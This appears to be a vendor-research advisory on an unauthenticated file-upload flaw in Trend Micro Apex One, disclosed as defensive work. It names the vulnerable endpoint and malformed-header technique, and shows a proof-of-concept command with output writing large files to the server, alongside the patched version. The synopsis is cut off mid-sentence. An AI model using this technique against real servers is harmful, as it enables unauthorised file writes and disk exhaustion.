Synopsis
A file upload vulnerability in exists in Trend Micro Apex One server build 11110. Using a malformed Content-Length header in an HTTP PUT message sent to URL /officescan/console/html/cgi/fcgiOfcDDA.exe, an unauthenticated remote attacker can upload arbitrary files to the SampleSubmission directory (i.e.,
python3 tm_apex_one_fcgiOfcDDA_file_upload.py -t-p 4343 -c 10 -s 10000000 Writing 10000000 bytes to file 8NXLKQKJB4ROI9UU in the SampleSubmission directory... Writing 10000000 bytes to file FOFD3HKRNY2BV2KO in the SampleSubmission directory... Writing 10000000 bytes to file JG55KLYLG4CVQ3YT in the SampleSubmission directory... Writing 10000000 bytes to file LHLC71DX5ZQBK3PL in the SampleSubmission directory... Writing 10000000 bytes to file KTGNIRE0SRSBEBX5 in the SampleSubmission directory... Writing 10000000 bytes to file AWBPQKSBE7IGT2H0 in the SampleSubmission directory... Writing 10000000 bytes to file ZHPZ4NWUHJJ2ROLC in the SampleSubmission directory... Writing 10000000 bytes to file Q8DZU5SI4YYDC1KJ in the SampleSubmission directory... Writing 10000000 bytes to file P5FEQIV12FM6AB0I in the SampleSubmission directory... Writing 10000000 bytes to file XBRMAAIMVIU8ZFVW in the SampleSubmission directory... Please check contents in \PCCSRV\TEMP\SampleSubmission\
Solution
Upgrade to service pack 11564.Additional References
https://files.trendmicro.com/documentation/readme/Apex%20One/2020/apex_one_2019_win_sp_b11564_EN_service_pack_Readme.htmlhttps://github.com/tenable/poc/blob/master/TrendMicro/tm_apex_one_fcgiOfcDDA_file_upload.py
Disclosure Timeline
All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.
Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.
For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.
If you have questions or corrections about this advisory, please email [email protected]
Contact our sales team